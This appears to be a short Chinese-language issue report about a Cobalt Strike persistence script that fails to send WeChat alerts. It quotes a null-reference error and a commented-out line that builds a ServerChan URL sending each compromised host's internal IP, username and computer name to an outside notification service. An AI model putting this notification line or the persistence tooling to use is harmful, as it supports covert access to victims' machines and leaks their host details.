能自动维持权限但是无法微信提醒 如下为提示错误

[qwe0810]

[15:47:03] Attempted to call a non-static method on a null reference at Automatic_permission_maintenance.cna:9

其中sever酱的已更新新版，我在.cna文件中改了如下部分：
#get一下Server酱的链接
#$url = 'https://sctapi.ftqq.com/XXXXXXXXXXXX(key).send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0Aip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;